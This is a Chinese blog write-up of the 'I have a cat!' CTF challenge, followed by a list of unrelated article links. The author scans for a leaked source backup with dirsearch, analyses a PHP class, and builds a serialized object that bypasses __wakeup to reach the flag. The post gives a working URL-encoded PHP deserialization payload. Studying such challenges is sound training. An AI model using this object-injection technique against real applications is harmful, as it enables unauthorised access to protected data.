当前位置: 首页 > news >正文

反序列化-极客大挑战2019php【I have a cat!】

知道这个题考的是反序列化,那么我们第一反应该拿到他的源码。

根据这句话判断【因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 不愧是我!!! 】说明有目录

我们直接使用dir开扫,发现有压缩文件【发现是429是因为访问人数过多寄掉了,从新开一个就好了】

 python dirsearch.py -u http://7d464724-7bc7-4ea0-af57-391cb28fedd1.node5.buuoj.cn:81/ -e .txt,php,html,json

那我们直接访问这个,并下载,说不定就是源码呢?

解压发现它里面有index.php、class.php,进去查看一下【flag试过了,不对】

 index.php​<!DOCTYPE html><head><meta charset="UTF-8"><title>I have a cat!</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css"><link rel="stylesheet" href="style.css"></head><style>#login{   position: absolute;   top: 50%;   left:50%;   margin: -150px 0 0 -150px;   width: 300px;   height: 300px;   }   h4{   font-size: 2em;   margin: 0.67em 0;   }</style><body>
 class.php​<?phpinclude 'flag.php';​​error_reporting(0);​​class Name{private $username = 'nonono';private $password = 'yesyes';​public function __construct($username,$password){$this->username = $username;$this->password = $password;}​function __wakeup(){$this->username = 'guest';}​function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();​}}}?>

分析:index里面没有太大的信息,class里面【直接丢进chat gtp】得到了flag的关键信息

 类 Name 的关键部分__wakeup() :当对象从序列化字符串中恢复时调用,它会将$username的值重置为'guest'。__destruct() :当对象被销毁时调用。它首先检查$password是否不等于100,如果不是,则输出当前的用户名和密码。如果$username是'admin',则输出全局变量$flag的值。总结:获得flag需绕过__wakeup,并且满足password=100,username==='admin' 

接下来我们进行构造

 <?phpclass Name{private $username ='admin';private $password = '100';}$select =new Name();$res = serialize($select);echo $res;//echo urlencode($res);
 
运行结果:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
把空格【就是那个方格子】替换为%00

在这里当修改的属性(变量)数大于实际的个数时,就可以绕过 wakeup了【其实就是将2改为3,绕过__wakeup()而已】

 O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}最后这一步要编译一哈?select=O%3A4%3A"Name"%3A3%3A{s%3A14%3A"%00Name%00username"%3Bs%3A5%3A"admin"%3Bs%3A14%3A"%00Name%00password"%3Bs%3A3%3A"100"%3B}


 flag{b0b9ceb2-4aac-4714-821c-1b4554d0acd1}

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 【中项】系统集成项目管理工程师-第5章 软件工程-5.3软件设计
  • 《MySQL DBA 修炼之道》—— 第一章 入门篇
  • 我在百科荣创企业实践——简易函数信号发生器(6)
  • Vue3--
  • 设计模式 C++简单工厂简单例子
  • github的Codespaces是什么
  • Scikit-learn简介
  • k8s多集群管理工具kubecm
  • 【leetcode】两数之和【简单】( 注释详解:C++map/ C哈希表)
  • 高级java每日一道面试题-2024年7月27日-并发篇-Thread类中的yield方法有什么作用?
  • 基于STM32的多协议通信系统设计与实现
  • 知,已经在行;知行是一件事,不是两件事
  • 大厂面试官问我:ConcurrentHashMap底层原理?【后端八股文十五:Java集合合集】
  • 从 Pandas 到 Polars 三十八:Polars 的“瘦身”功能
  • GPU驱动、CUDA 、cuDNN 和CUDA Toolkit之间的关系(深度学习小白必懂)
  • [译]Python中的类属性与实例属性的区别
  • angular2 简述
  • C++回声服务器_9-epoll边缘触发模式版本服务器
  • DOM的那些事
  • Rancher如何对接Ceph-RBD块存储
  • Vultr 教程目录
  • 百度贴吧爬虫node+vue baidu_tieba_crawler
  • 二维平面内的碰撞检测【一】
  • 检测对象或数组
  • 聊聊hikari连接池的leakDetectionThreshold
  • 每天10道Java面试题,跟我走,offer有!
  • 最近的计划
  • 浅谈sql中的in与not in,exists与not exists的区别
  • ​数据链路层——流量控制可靠传输机制 ​
  • #鸿蒙生态创新中心#揭幕仪式在深圳湾科技生态园举行
  • (2024,LoRA,全量微调,低秩,强正则化,缓解遗忘,多样性)LoRA 学习更少,遗忘更少
  • (C语言)输入一个序列,判断是否为奇偶交叉数
  • (八十八)VFL语言初步 - 实现布局
  • (附源码)springboot课程在线考试系统 毕业设计 655127
  • (附源码)计算机毕业设计高校学生选课系统
  • (四)Linux Shell编程——输入输出重定向
  • (一)【Jmeter】JDK及Jmeter的安装部署及简单配置
  • (一)十分简易快速 自己训练样本 opencv级联haar分类器 车牌识别
  • (最简单,详细,直接上手)uniapp/vue中英文多语言切换
  • .bat批处理(二):%0 %1——给批处理脚本传递参数
  • .gitignore不生效的解决方案
  • .helper勒索病毒的最新威胁:如何恢复您的数据?
  • .Net 6.0 处理跨域的方式
  • .Net Framework 4.x 程序到底运行在哪个 CLR 版本之上
  • .Net Remoting(分离服务程序实现) - Part.3
  • .NET分布式缓存Memcached从入门到实战
  • .NET使用HttpClient以multipart/form-data形式post上传文件及其相关参数
  • .net下的富文本编辑器FCKeditor的配置方法
  • .NET应用架构设计:原则、模式与实践 目录预览
  • /etc/shadow字段详解
  • [\u4e00-\u9fa5] //匹配中文字符
  • [Android View] 可绘制形状 (Shape Xml)
  • [Android]RecyclerView添加HeaderView出现宽度问题
  • [C#]winform部署官方yolov10目标检测的onnx模型
  • [C/C++]数据结构 堆的详解